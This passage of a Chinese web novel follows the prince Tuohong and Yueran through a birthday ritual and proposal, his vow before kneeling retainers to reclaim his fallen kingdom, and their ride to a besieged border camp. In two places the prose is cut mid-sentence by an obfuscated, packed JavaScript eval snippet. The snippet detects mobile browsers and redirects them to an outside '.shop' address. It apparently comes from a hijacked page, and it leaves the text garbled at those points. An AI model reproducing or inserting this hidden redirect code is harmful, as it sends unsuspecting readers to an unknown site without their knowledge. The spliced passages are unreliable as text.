“三岁生辰,她亲自下了厨,说青岚旧例——生辰食一根长面,不断,便是福寿绵长。面端至我跟前,她替我吹凉了,瞧着我吃。我那时太小,一口便咬断了,急得快要哭出来。她却笑着道,断了也无妨,娘瞧着你吃下去了,福气便算是进了肚了。” 悦然静静地听着,没有说话。 “后来那碗面我没吃完。宫人来报,王城四面被围。” 他停了片刻。 “那晚她没有回来。” 灶房里很静。灶膛里的余烬发出一声极轻的噼啪,像什么碎了一个角。 “后来青岚没了。每年这一日,梧叔会替我备一碗面,放在桌上。我不吃。他也不劝。就那么放着,从热放到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632094|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉,从凉放到天亮。” 他低头看着碗里那根面。 悦然没有说话。她把筷子从他手里抽出来,换了一双干净的,然后把那根面夹起来,轻轻放在他唇边。 他没有拒绝。他张口,接了第一口。 面在唇齿间滑过。汤底清淡,有一丝萝卜的甜。荷包蛋的蛋黄还是溏心的,一筷子戳下去,金黄色的汁缓缓流出来。 他一口一口把那根面吃完了。 悦然托着腮看他,嘴角有一点极淡的笑意,眼眶却微微泛红。 “然后滚鸡蛋。”她站起来,从灶台边拿起一枚熟鸡蛋,放进他掌心,“这叫‘滚运’——把过去的晦气都滚掉,从今天起,往后都是好运。” 拓宏低头看着掌心里那枚鸡蛋。蛋壳还带着灶火的余温,温温的,像一颗刚从被窝里掏出来的心。他把鸡蛋握在手里,慢慢地,从额头滚到胸口,从胸口滚到膝头。动作很笨,像在做一件他从未做过、也从未有人教过他的事。 悦然在旁边看着。他滚过膝盖的时候,她的手微微攥紧了袖口。这个人杀过人,也被人追杀过。他的膝盖曾在青岚的雪地里跪着爬过。没有人替他把那些晦气滚掉过。从来没有人。 “然后许愿。”她把那块插着蜡烛的蛋糕推到他面前,“这叫生日蛋糕。没有淡奶油,我就用南瓜泥代替了。” 她把火折子拿起来,点燃了灯芯。一小簇火苗在蛋糕上跳了跳,稳住了。“你吹它的时候,要许一个愿。在我那里,寿星许的愿,最灵。” 拓宏看着那簇火苗。火苗很小,在歪歪扭扭的蜡烛上跳着,像一只暖黄色的蝴蝶。南瓜泥抹得不算平整,野樱桃摆出的笑脸歪歪的——左边那颗比右边那颗高了一点。蜡烛是她自己熔的,她说差点烧了手。 这是一个她从另一个世界带来的仪式。只属于他们两个人的。 他闭上眼。火苗在他睫毛上投下一小片暖光。他许了什么,没有人知道。 然后他睁开眼,低头,轻轻一吹。火苗灭了。一缕细烟从灯芯上飘起来,很快散了。 悦然把菜刀递给他,让他切第一刀蛋糕。他切了一块,没有自己吃,先递给了她。 悦然给拓宏夹了口小菜,倒上杏花村特有的“杏花酒”。 “你今天成年了,可以喝酒了。”悦然笑,给他满上一杯。 “在我那个时空,男子成年了才能喝酒,男人成年了才算真正意义上的男人。”悦然说,“犯了错要自己扛,选了路要自己走,想护的人——你就可以光明正大地护着。不是别人替你做主,是你自己为自己做主。这就叫成年——不是岁数到了,是肩膀能扛了。” 拓宏默默地喝着酒,悦然倒上,他就干掉。直到一壶酒见了底,他才抬起微微红了的脸,看向悦然。 “然然。” “嗯?” “还有一样,”他说,“我想要一样生辰礼。” 悦然抬起头。她备了,是她偷偷写的,火药的配比和炼钢的方法,她刚要拿出来,却见他的目光定定看着她。她便犹豫了。 他正看着她,目光安静而沉定,和方才吹蜡烛时一样——不是冲动,是想了很久之后终于落定的某样东西。 她没有问他要什么。她只是看着他,等着。 他看着她的眼睛。那双眼睛里有什么东西在那一刻落定了——像是想了很久的事终于找到了出口。他没有说话,只是抬起右手,极轻地覆在她的眼睛上。 她的睫毛在他掌心里颤了一下,像一只被拢住的蝴蝶。他的掌心很热,带着劈柴磨出的薄茧和昨日挡戾气时灼伤的那道细口,粗粝,却极轻极缓地盖下来,把油灯的光、灶房的烟火气、窗外那轮清冷的月亮,一并挡在了外面。 她看不见了。但她听见他的呼吸——比平时沉,比平时急,像是忍了很久很久,终于忍到了头。 他的另一只手托住了她的后脑。手指穿过她的发丝,稳稳地扣住,力道不重,却有一种不容退后的笃定。然后他的唇落下来。 不是一触即退的试探。他的唇压在她的唇上,是实的、软的、带着米酒余香的温热。她什么都看不见,触感却被放大了无数倍——他的嘴唇是烫的,他指腹的薄茧蹭过她的耳侧,他的呼吸和她的呼吸缠在一起,分不清谁是谁的。 他吻了很久。久到灶膛里的余烬发出最后一声轻微的噼啪,久到桌上那碗长生面的汤已经凉透了,久到两个人的呼吸都乱了。 然后他停了。 不是不想继续。是他的手开始发抖——他想……。他抵着她的额头,呼吸很烫,覆在她眼睛上的手还没有移开,像是怕她一睁眼,就会看见他眼里那些藏了三年、此刻再也藏不住的东西。 “嫁我,”他的声音哑得不像他,“可好?” 她没有答话。她的脸是红的,从耳根到脖子,红得像是被灶膛的火光映了一整个晚上。但她没有退开。她还站在他怀里,他的手还覆着她的眼睛,她的嘴唇上还留着他的温度。她的手攥着他衣襟的一角,攥得很紧。 他把覆在她眼睛上的手轻轻移开。月光重新落进来,她看见他的眼睛——那双眼睛里全是她的倒影。 “不答也无妨。”他把下巴搁在她头顶,声音低得像是自言自语,却又字字分明,“我等得。你需要多久,便等多久。” 她把脸埋进他胸口,过了好一会儿,闷闷地应了一声:“嗯。不过,要等我的身体,也成年……” 然后她就听见头顶传来极轻的一声——他在笑。不是笑出声的那种笑,是胸腔里一点点震动的余韵,很轻,很短,像琴弦被拨了一下之后留在空气里的尾音。 “你笑什么?” “无甚。”他顿了顿,“只是觉得……今日,很圆满。谢谢你,赠我新的生辰。” 悦然从他怀里抬起头,看着他。他的眼睛里有月光,也有她。 “是成人礼。”她纠正道。 “嗯。成人礼。”他说,“从今往后,这一日不再是忌辰,也是成人礼。是我母王的忌辰,也是我的成人礼。” 然后他坐下来,端起桌上的碗想喝口水,手指刚碰到碗沿,整个人就趴在了桌上。碗晃了一下,水洒了小半桌。 他醉了。 悦然站在原地,看着他。这个方才还把她按在怀里吻得不肯撒手的男人,此刻趴在桌上,脸埋在臂弯里,呼吸渐渐沉下来,像一头终于放下所有戒备的困兽。嘴角还带着那一点极淡的弧度——还在笑,即使醉了,即使在梦里。 她从床上拿来被子,轻轻盖在他身上。被子掖到肩膀时,他动了动,含糊地嘟囔了一句什么,听不太清。她把耳朵凑近了些。 “……然然……” 她在被子上轻轻按了一下,像是替他掖好,又像是在回应。 然后她直起腰,看着桌上那块被切了一角的南瓜蛋糕。野樱桃的笑脸歪歪的,左边那颗樱桃还是比右边高一点。 她捡起一颗樱桃,放进嘴里。酸的。但她嚼着嚼着,尝出了一点甜。 她在心里想——他吻我的时候,我也有了一个名字。不是跃然,是悦然。喜悦的悦,安然的然。从今以后,她不再只是从深渊里向上跃的人。她是被人放在心尖上娶的人,是被一双发抖的手捧住、被一根福寿绵长的面条喂饱、被一块歪歪扭扭的蛋糕哄笑、被一个克制到颤栗的吻烙了印记的人。 喜悦的悦。她的名字,从这一刻起,是悦然。曦宇的悦然。 31. 雪夜同心 "无穷的远方,无数的人们,都和我有关。" ——鲁迅《且介亭杂文末编》 又过了半月。 那天深夜,悦然从噩梦中惊醒。 她梦见浊泉翻涌,黑泥漫过了符节,漫过了古枫,漫过了杏花村的院墙。她梦见拓宏挡在那片黑潮前面,背对着她,没有回头。 她猛地睁开眼,后背全是冷汗。 窗外月光很亮,照得窗纸泛着淡淡的银白。她深吸一口气,正要重新躺下,忽然听见院中传来极低的说话声。 是梧冲庭。 他的声音压得很低,断断续续的,像一根被风扯碎的线。 "……凛锋矿洞又塌两处,铁锈尸自地底涌出,已漫至西境三郡。熙坤王殿下率残部苦守七日,三日未曾合眼……" "瓦鲁情形若何?"是拓宏低声问。 "饥民暴动愈演愈烈,瓦鲁国内起义频繁,尸横遍野。元炀崎独守王都,粮草将尽。三殿下那边,滨蓝湖水退至百年最低,三殿下率人疏浚半载,双手……已无完肤。" 然后是长久的沉默。 悦然轻轻掀开被子,走到门边。门缝里透进来一线月光,还有灶房里那盏油灯的光。她看见拓宏背对着门,站在灶台前,手里拿着一封展开的军报,放在灶火中烧了。他的肩膀绷得很紧,脊背却挺得笔直。 "主上,青岚旧部已于院外候驾,皆求一见。"梧冲庭的声音更低了些。 拓宏没有说话。照常蹲下身,压了压灶膛里的火,像往常一样。但悦然看到,他拨弄炭火的手,在微微颤抖。 最终,他还是站起来,推开灶房的门,走进了院子。 悦然回到床边,披了件外衫。走到门前。 她听到院门被推开的声音。然后是很长很长的寂静。 她走到正房门口,透过门缝向外看去。 月光把院子照得雪白。拓宏站在院门口,他的手垂在身侧,紧攥着拳,指尖发白。 院子中,院门外,黑压压地跪了一地的人。 向外不知道绵延到哪里,她望不到边际。 她猜得出,那是青岚旧部,梧姓亲卫,当年跟着他从王宫里杀出来的老人,还有后来陆续寻来的新丁。 他们穿着黑衣,没有披甲,没有带兵器,就那么沉默地跪在雪地里。碎雪覆上肩头,落满低垂的颈背,也沾在了众人紧握的拳面之上。没有人出声,没有人抬头,没有人抖落身上的雪。 梧冲庭跪在最前面,他的头发已经全白了。 拓宏蹙着眉,定定地看着眼前的部下,良久,他才开口。 他的声音不高,但每一个字都沉得像石头砸在雪地上。 "汝等之心愿,吾皆知晓。"他说,"十五年间,尔等随吾颠沛流离,未有一日安枕。吾感念于心,然——吾亦有欲守之人,有欲安之岁。" 他停了一下。寒雪轻落肩头,他浑然未觉,并未抬手拂去。 "今日,尔等便散去吧。从此各寻安身之处,各守本分度日。便当——从未跟过我这个少主。" 跪着的人群微微一震。雪地里密密匝匝的肩膀同时绷紧了,像是被同一根弦勒了一下。 梧冲庭抬起头,看着拓宏。他没有问为什么,但他的眼睛在月光下亮得惊人——不是泪,是某种比泪更烫的东西,是忍了三年没有忍下去的忠骨里最后的余烬。 "主上。"他的声音沙哑,"青岚旧部三年未领一分军饷,未接一道军令,未有一人离去。非无处可去——瓦鲁、滨蓝、曦宇,皆有旧识,皆有容身之所。然吾等不愿前往。往之,则为他人之臣。吾等不愿为他人之臣。" 他停了片刻,声音更低了些,像是从胸腔最深处的伤疤上刮下来的。 "主上在杏花村避世三年,吾等便在山外守夜三年。主上不欲复国,吾等便候着。主上欲复国,吾等便从之。主上不必今夜决断——吾等来此,非为催逼,只为禀明主上一事:吾等尚在。主上但回头,吾等便在。" 梧冲庭低下头,额头触雪。身后,一众人同时叩首。雪地上没有声音,只有风穿过院墙,吹得那副褪色的对联轻轻响了一下。 拓宏站在门口,垂在身侧的手指攥得发白。 他没有说话。那些东西从来没有放下过,只是被他压在心底最深处,压了三年,压得变了形,可还在那里。他以为自己可以不做宇文拓宏,只做阿泽。可他们跪在雪地里告诉他——你还有我们,我们还有你。 他闭上了眼。 缓缓向着人群,跪了下去。 就在这时候,他听见身后传来开门的声音。 悦然从屋里走出来,只披了一件外衫,头发散在肩上。月光照在她脸上,紫眸在夜色里清澈如水。 她走到他身边,双手将拓宏扶起来,稳稳站住,与他并肩。 拓宏看着她温润的眉眼,竟有一滴泪滑落下来。他瞒了三年,终究还是在今夜,被她发现了。 "阿泽。"她说,声音很轻,很稳,"成人那日,你许的什么愿?" 拓宏的身体微微一僵。 "你许的愿,是生生世世。"悦然看着他的眼睛,"可你连这一世都尚未守住,拿什么许我生生世世?" 拓宏的喉结动了一下,没有说话。 "我不要躲起来的安稳。"悦然的声音在微微发颤,但每一个字都落得很实,"我要一起扛的太平。外面在塌——凛锋在塌,瓦鲁在塌,滨蓝在塌。那些死去的百姓,他们也有想过的日子——像我们这三年一样,劈柴、种菜、熬粥、养花。他们想过,可他们没有。因为还没有人去替他们扛。" 她停了片刻,握紧了他的手。 "这三年,你放下青岚,放下血仇,扛着所有压力,守在这里陪我圆我的梦。如今,该换我陪你了。你的故国,你母王的仇——还有你的这些部下。你注定做不了一个砍柴种花的庄稼人,你有你的责任。" 她看着他,月光落在她眼睛里,紫韵微微一闪。 "我以前的世界,有一句话,一个人,能力越大,责任就越大。如今,是时候了。"悦然拉起拓宏冰冷的手,“如今,我已经不是三年前那个随时会碎掉的瓷娃娃了。我有双力护体,我能抑制浊泉,我,也有我的责任。” 拓宏低下头,看着她握在自己手上的那只手。她的手很小,但温暖有力。 “然然,你,果真愿意?” “谁告诉我们的生生世世,就只能躲在杏花村里?你可以守护你的国,你的身后,我也可以守护你。” 拓宏没有再说话,他只是紧紧将悦然抱在了怀里。 良久,他抬起头,转身看向那些跪在雪地里的人。 然后他迈出了那一步。 "吾乃宇文拓宏,梧苒之子,青岚王族最后的血脉。"他的声音不高,但每一个字都像刀刻在雪地上,"十五年前,青岚灭国,吾年方三岁,被尔等护卫逃出王宫,苟活至今。吾有罪于先王,有罪于故国,有罪于尔等。" 他停了一下。雪花凝在他纤长的睫毛上,转瞬融成细碎水珠,他抬手未拭。 "然今夜尔等跪于此处,以命相托——吾若再退,便不配为梧苒之子。" 他的手从门板上松开了,垂在身侧,五指缓缓攥紧。不是攥拳——是握剑的姿势。三年没有握剑的手,骨节在那一握里咯咯作响,像一柄沉睡已久的兵刃终于被拔出鞘,和鞘口摩擦出最后一声钝响。 "吾今立誓,不复故国,誓不归乡!" 他的声音不大,但梧冲庭像被雷劈中一样,整个人震了一下。 他没有立刻起身。他先深深地俯下身去,额头触雪——不是方才跪拜的姿势,是更重的、带着骨响的叩首。 十五年的亡国之痛,十五年的流离之苦,十五年的等待之煎熬,都在那一磕里倾了出来。 "谢主上。" 他的声音沙哑得像哭了很久,但每一个字都像钉子一样钉在雪地里。 然后他抬起头,越过拓宏的肩头,看见了站在他身后的悦然。 月光下,那个紫眸的姑娘站在少主身后半步的位置,手还握着少主的手,没有松开。她的外衫单薄,肩上落了一层薄雪,但她站得笔直。 梧冲庭看着她,眼角的皱纹在月光下更深了。 三年来,他一度以为,是这个女子绊住了少主的脚步——她要安宁,少主便给她安宁;她要陪伴,少主便给她陪伴。他们用性命等着少主回头,少主却在为一间灶房、一碗粥、一个人停了脚步。 现在他知道了。她没有绊住他。她陪他走过了那段必须停下来的路——停下来养伤、停下来长出骨头、停下来学会怎么活成一个完整的人。然后在他推不动那扇门的时候,她站到了他身边,和他一起推。 梧冲庭直起上身,转向悦然,再次俯身叩首。额头触雪的那一瞬,他的肩膀终于抖了。 "谢少夫人。" 四个字,比"谢主上"更哑,更重。 悦然走到他面前,弯下腰,双手扶住他的手臂。 "梧叔,起来。外面冷。" 梧冲庭抬起头,看着她。那双紫眸在月光下清澈如水,没有怨,没有怜,只是安安静静地看着他——像看一个淋了雪的家人。 他站了起来。身后,所有梧卫跟着站了起来。雪地里那一阵密密匝匝的膝盖声,像沉闷的鼓点,一下一下,敲在每个人的胸腔里。 灶房里,油灯还亮着。 拓宏把那盏灯端到方桌上,从灶台角落摸出一张泛黄的地图。叠了三折,边角磨出了毛边,显然被人反复展开过无数次。 他把地图铺开。指尖轻轻摩挲过磨损的边角,目光沉凝。 油灯的光照在上面,悦然看见了五个国家的疆域——曦宇居中,凛锋在西,滨蓝在北,瓦鲁在南,青岚在东。但青岚的版图被朱笔蚕食了大半,只剩中间一小块标着墨点——那是青岚王宫。 拓宏的手指落在那块墨点上,停了一瞬。 "此处,乃青岚王宫,灵脉所系。宇文轩虽未及时出兵至我青岚灭火,然他随后以命相搏,护住了王宫与灵脉未毁。如今王宫与灵脉皆在曦宇手中——自不必急取。" 他的手指从墨点上移开,划向南方被朱笔占据的最大片疆域。 "瓦鲁——灭吾青岚之主谋。出兵最猖獗,占地最多,南境六郡皆入其版图。灭国之夜,瓦鲁先锋最先攻入外城,屠戮三日不歇。此仇,必报。" 他说到"屠戮三日"的时候,声音哑了。 "滨蓝趁火打劫,吞了北境粮仓两郡。凛锋……"他的手指停在西边,"距青岚最远,占了西北矿脉一郡,所分最少。" "拓石现在在凛锋?他在做什么?" "凛锋矿洞连年塌方,铁锈尸潮不绝,凛锋自身已焦头烂额,便以战争转嫁矛盾,进攻曦宇。拓石出兵防守已有三载。" 他顿了一下。 "三载来,吾陆续将亲卫输送至凛锋,助拓石守住西境防线。" 悦然看着地图上那些朱笔划痕,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632095|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从南到西、从西到北,慢慢理清了脉络。 瓦鲁占地最多,是主仇;曦宇握着王宫和灵脉,但那是自己人在守;凛锋分得最少,与瓦鲁有隙;滨蓝远在北方,暂成掎角。 "故先往凛锋。"拓宏的手指按在地图西边,"三载矣,拓石挡了三年的尸潮,吾等去助他。" 他停了片刻。 "况且——凛锋占了秦岚西北矿脉一郡。讨之亦是理所当然。" 悦然看着那张地图。凛锋、拓云、曦宇、瓦鲁——不是一天能走完的路,也许一年,也许五年,也许更久。但她看懂了他的思路:先聚指成拳,再逐一收复。凛锋是第一根指头,拓石是握拳的起点。 "那我们现在要做的第一件事,"她抬起头,"就是去凛锋,帮拓石撑住。" "嗯。" 拓宏把地图折起来,叠了三折,和原来一样。他把地图递给悦然——不是自己收着,是给她。 悦然接过来,手指碰到地图边角那些磨出的毛边。三年了。他一个人对着这张地图,在灶房里烧军报的夜晚,不知道展开过多少遍,折回去多少遍。她把地图小心地放进药箱的最里层。 秋末,他们收拾行囊。 拓宏把锄头挂在墙上。那把锄头用了三年,木柄被他的手磨得光滑发亮。他看了它一眼,没有说什么。 然后,他把剑系在腰间。那个位置空了三年,重新挂上去的时候,他的步子微微顿了一下,像身上多了一块久违的重量。 他低头看了看腰间的剑,又抬头看了看墙上挂着的锄头。 两样东西,一左一右,像他这三年里两个不同的名字。 悦然背上药箱之前,先去了浊泉。 她蹲下来,掌心按在树根处的阵眼上。 紫蓝两力顺着掌心灌入地下,沿着三年前挖出的脉络走了一遍。每一条线都走到了头,每一个节点都亮了一瞬又暗下去,像心跳——稳稳的,匀匀的,没有断处,没有滞处。 她站起来,拍了拍手上的土。 拓宏不知什么时候站到了她身后。 "这阵,至少能撑五年。"她说,"五年之内,浊泉的浊气渗不进村子里。" 她回头看了他一眼,又看了看身后那些低矮的屋顶——张家的炊烟,李家的灶火,刘嫂子院子里晾着的被单,阿吉家门口那棵歪脖子枣树。 "五年够了。"她说,"五年之内,我们回来。" 拓宏看着阵眼上的符文,看了很久,然后轻轻点了一下头。 悦然背上药箱。她在药箱里多塞了几包干菊花——拓宏的眼睛在雪夜里盯军报盯了三年,早上起来有时会红,菊花泡水能清肝明目。又塞了一小罐蜂蜜,是刘嫂子上月送的,还没开封。 她在刘嫂子家院子里最后一次抱了抱阿吉。那孩子长高了许多,已经到她胸口了。阿吉把自己绣的小布袋塞给她:"姐姐,最大的柿子给你留着呢。" 悦然蹲下来,平视阿吉的眼睛:"姐姐要出趟远门。等杏花开的时候,姐姐就回来。" 阿吉眨了眨眼,忍着没哭。她用力点了点头,转身跑进屋里,又跑出来,手里多了一条红绳——编得很粗糙,绳结歪歪扭扭的,是她自己学着编的。 "姐姐戴着,辟邪的。"她把红绳塞进悦然手心,低着头,声音闷闷的,"阿吉等姐姐回来。" 悦然把红绳系在手腕上,搂了搂她,站起来。 院门口,老村长已经等在那里了。他没有多说,只是从怀里掏出一小包东西,硬塞到拓宏手里。拓宏低头一看——是一把粗年,用油纸包着。 "路上备用。"老村长说完了这三个字,就转过身走了。走出几步又停下来,头也不回—— "你们归来之日,老朽当令全村灯火不熄。" 拓宏站在院门口,看着老村长走远的背影。他张了张嘴,像是想说什么,但没有说出来。 村口,悦然最后一次回头看了一眼杏花村。 薄雾正在散去,炊烟从各家灶房升起来——张家的是浓烟,因为总烧湿柴;李家的是细烟,因为灶膛修得深;自家的是最淡的那一缕,因为拓宏每天都会把灶膛的灰掏干净再生火。 院门口的对联还在。红纸已经褪了色,边角被风掀起来一点,但上面的字还看得清—— 杏花春雨,灶火温存。 喜乐平安,茅檐一世。 她站了片刻,转过身,跟上拓宏的步伐。 远处,梧冲庭已经备好了马。他站在最前面,身后是青岚旧部,黑衣肃立——他们不是来打仗的,是来接人的。 拓宏走到马前,没有立刻上马。 他回头望了一眼。从山路上望下去,杏花村还笼在薄薄的晨雾里,炊烟一根一根地升起来,像大地在呼吸。 他翻身上马。悦然也翻上了马背——这三年里拓宏教过她骑马,她学得不算好,但坐得稳。 "走。"拓宏说。 马蹄踏碎了晨霜。 身后的炊烟越来越远,越来越淡,最后变成天边一抹看不见的白。 而前方,雨虹山的轮廓在晨光中渐渐清晰。她握紧了缰绳,紫蓝两力在她体内缓缓流转,比任何时候都更安稳。不是平静——是蓄势。像这具身体里两个世界的记忆终于不再打架,而是合在一起,变成了一种她从未有过的笃定。 她知道她要去哪里。 她知道她为什么要去。 无穷的远方,无数的人们——都和她有关。 这就够了。 32. 鹤鸣重逢 "白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠。" ——曹操《蒿里行》 出了杏花村,往西北走,便是去凛锋的方向。 三年前他们从莲京逃出来,走的也是这条路。那时候深秋将尽,官道两旁是收割过的稻田,田埂上开满野菊,沿途镇子不算繁华,街面上总有几家铺子开着——卖包子的、卖柴米的、卖竹编的,门口摆着歪歪扭扭的木牌,掌柜蹲在门槛上抽旱烟,见有人路过便吆喝一声。 现在没有人烟了。 悦然骑在马上,一路沉默。拓宏走在她前头半步,偶尔回头看她一眼,没有多说什么。只是在经过那间关了门的包子铺时,他忽然勒住马,从包袱里摸出临行前刘嫂子塞的干饼,掰了一半,回身递给她。 "尚有余温,先吃些垫着。" 悦然接过饼,咬了一口,把另一半推回去。他摇头不肯接,她便用布包好,塞回他包袱里。 行至第二个村子,村口老井干涸见底。井沿落满枯叶,半截井绳断垂,在风里轻轻晃。拓宏蹲下身望了望井底,没有说话。悦然取下腰间水囊递过去,他接来抿了一口,又递回来。她摇头,他便不再饮,水囊握在手中,久久未动。 重新上马时,悦然的马忽然打响鼻,驻足不肯前行。拓宏翻身下马,走到她马前探了探马鼻。 "无碍,渴了。"他拧开自己的水囊,将清水倒在掌心,凑到马嘴边。马舔了几口,甩了甩尾巴。他这才重新上马。 "你自己的马都不喂,先喂我的?"悦然说。 "它驮着你。" 拓宏的唇已经干了,悦然望着他的背影,没有说话。 第二天傍晚,他们进了清河镇。 悦然几乎认不出来了。镇口卡口还在,木栏朽断,歪歪斜斜倒在路边,旧时告示被风雨泡烂,只剩一角黏在木头上。主街两侧铺子全关了,招牌断裂落地,碎瓦破布散了一地,被风卷着四处翻滚。 她认出了那家馄饨铺子——门板紧闭,门上贴着泛黄的纸,歪歪扭扭写着"歇业"二字,纸角尽数卷曲。门口那口煮过无数烟火的大锅还在,倒扣在灶台上,锅底覆满厚重红锈。 馄饨的鲜美,仿佛还历历在目,馄饨摊老板娘说的“小两口”回来了,老板娘却已经不在了。 天色彻底黑下来时,两人在镇外一座废弃驿站落脚。屋顶塌了一角,门板歪斜,院中古井枯竭,井沿爬满青苔。拓宏将马拴在院里唯一还活着的槐树下,蹲下身查看门板。他从靴筒抽出短刀,削出一截木块垫在门框底下,试着把门板卡稳。 他动作很专注,和在杏花村里修篱笆、补屋顶时一模一样——不管外面是什么样,他总能找到一个可以修补的东西,然后蹲下来,安安静静地修。好像只要手里有活,这世界就还没塌到底。 悦然立在院中,望着他的背影。 三年了,他把整个乱世都挡在院墙外面,一个人扛了三年,谁也没让看见。 她走过去。他正半跪在门板前,手里捏着削好的木块,听见脚步声回头。 "快好了,你再等——"他看见悦然的眼眶红了,忙站起来,刚要伸手拉她,悦然已经环住了他精瘦的腰。她把脸贴在他胸口,隔着那层洗得发白的灰布,感觉到他有力的心跳,还有那一瞬间的僵硬——和三年前一样,她第一次在驿站里帮他擦背上那道疤时,他的身体也是这样僵住的。不是抗拒,是太久没有人碰过他了。 拓宏的手停在半空,指间还捏着那块削到一半的木头。 "然然?" “阿泽,谢谢你。”许久,悦然才说出声。 拓宏把那块木头轻轻放在地上,手指空出来,轻轻拍着她的后背。 "粥……。"他脑子一片空白,机械地说。 “快糊了?”悦然红着鼻头抬眼看他,泪划到唇边,嘴角却扬着。 这三年,他一不好意思,就爱转移话题,找的话头还都这么拙劣。 "这里没有粥。"她促狭。 "那便明日熬。"这次,他倒是坦然了。 两人就这样在破驿站的门板前抱了很久。月光从破屋顶的窟窿里漏下来,洒在两人肩头,比雪还轻。 第三日,他们接近了曦宇与凛锋的边境。 悦然骑在马上,望着前方越来越近的城廓,忽然问:"阿泽,凛锋到底是个什么样的地方?" "那是一头困兽。"拓宏告诉她,凛锋坐拥整片蔚魄大陆最富的矿脉,铜铁锡铅,深埋山峦之下,千年开采不尽。那些矿养肥了凛锋王室,也养出了大陆顶尖的铁匠行会——凛锋的甲胄,箭射不穿,刀劈不进,剑刺不透。凛锋的长矛比曦宇的轻三成,却硬三成。 "三年前拓石那一万禁军,盔甲乃曦宇官造。正面被凛锋铁骑冲一次,便裂了。冲第二次,甲片直接散了。头一年,拓石吃亏最大的便是这个。后来两百梧卫带了一百套青岚旧甲过去,冷锻叠钢,不及凛锋精工,然不至一冲即裂。第三年,拓石始学凛锋铁匠之艺,如今他的兵,自己打铁,自己补甲。" "兵器比不过,那拓石这三年是怎么守住的?" "地利。鹤鸣关两山夹一谷,地形极险,凛锋铁骑虽强,然入山谷则施展不开。拓石但守住谷口,以逸待劳,便可挡数倍之敌。"他顿了顿,"那韩哲,用兵极稳。不贪功,不冒进。你设伏他便退,你撤退他便追,便似一帖膏药,撕不去也甩不脱。头一年他强攻三次,皆被拓石击退,第三回折损过半,自那以后再不强攻,只是耗着。他耗得起,拓石耗不起。" 悦然点了点头。她明白了——不是拓石打不赢,是这场战争从一开始就注定是消耗战。 前方出现了一座小城,城头旌旗脏污,边缘被战火烧过,歪歪斜斜挂在旗杆上。城门口路边坐着一个妇人,怀里抱着一个婴孩。婴孩饿得连哭的力气都没有,只是张着嘴,像一条搁浅的鱼。妇人把干瘪的胸脯凑到婴孩嘴边,婴孩吸了两口,吸不出东西,又张开了嘴。妇人没有再试,只是抱着孩子,目光空洞地望向前方。 悦然骑马经过她身边时,那婴孩忽然哭了一声——声音很细,像一根针扎进她耳朵里。她回头看了一眼,那妇人依旧坐在那里,没有抬头,没有伸手。悦然勒住马,想要翻身下去。 拓宏按住了她的手。 "你救不得所有人。"他的声音平静,握在她手上的力道比平时重了些。悦然侧头看着他——那双眼睛里不是冷漠,是看了太多之后已经不知道还能做什么的无力。她握着缰绳的手指攥得发白,终于没有再回头。 "这些流民是凛锋人。铁锈尸从矿洞中爬出——那些死于矿难之矿工,为浊气所侵,化作半死不活之行尸。凛锋官府不治,便往边境驱赶。拓石于鹤鸣关外设了难民营,收容了一部,然营中早已人满。粮不足,药不足,每日皆有人死在外间。" 这座小城叫凛阳,属曦宇边境,过了城外那条河便是凛锋地界。三年前这里是商旅往来的要道,如今街上空荡荡的——铁匠铺炉火尽了,客栈招牌歪在门框上,粮铺门口蹲着几个老人,面前摆着空碗。街上不见一个壮丁,只有老幼妇孺佝偻着背在断壁残垣间穿梭。五六户人家便有一家门前挂着白幡,在风里飘着,像一排无声的挽联。 刚一进城,便有梧卫来接应。那人一身黑衣,面罩遮了半张脸,单膝跪地行了一礼。"主上,少夫人。属下奉熙坤王殿下之命,在此恭候。殿下大营在城外五里处,请随属下前往。"拓宏点了点头,那梧卫起身,引着他们穿过城中废墟,往城外大营方向走。 拓石的大营扎在城外五里处,背靠一座矮山,地势险要。外围三层木栅栏,栅栏上有刀劈斧砍的痕迹,显然加固过不止一次。营中军帐大多是灰布帐篷,有好几顶打着补丁。篝火旁围坐的士兵借着火光擦拭兵器,偶尔低语几句,脸上没什么表情——不是不想说话,是累了。那种累不是一天的累,是三年累积下来的,渗进骨头缝里,洗也洗不掉。 一个梧卫掀开中军大帐门帘,侧身让到一旁。拓宏弯身进去,悦然跟在他身后。 帐内陈设极简——一张简陋的案桌,案角被削掉了一块又重新补上,案上摊着一幅羊皮地图,边角磨得发亮,图上压着几枚石子,每枚都磨得圆润。帐角立着一副铠甲,肩甲处一道深深的裂口还没有补。旁边是一张行军床,薄薄被褥叠得整整齐齐,被头已经褪了色。 案前立着一个人。 他背对着门,正低头看着地图,一只手按在案沿,另一只手指尖点在地图上的某个位置。听见脚步声,他转过身来。 悦然停住了脚步。 他长高了许多——十九岁的青年,骨架已经完全长开,肩宽背阔,和三年前那个温润如玉的少年判若两人。但和拓宏站在一处,还是比拓宏矮了两指。 他的皮肤晒黑了许多,是那种长年累月在日头下晒出来的黑,洗不掉的,像一层被风吹雨打之后渗进皮肤里的铁锈。下巴覆着一层青色胡渣,眼眶微微凹陷,一双眼睛熬得通红,密布着血丝。 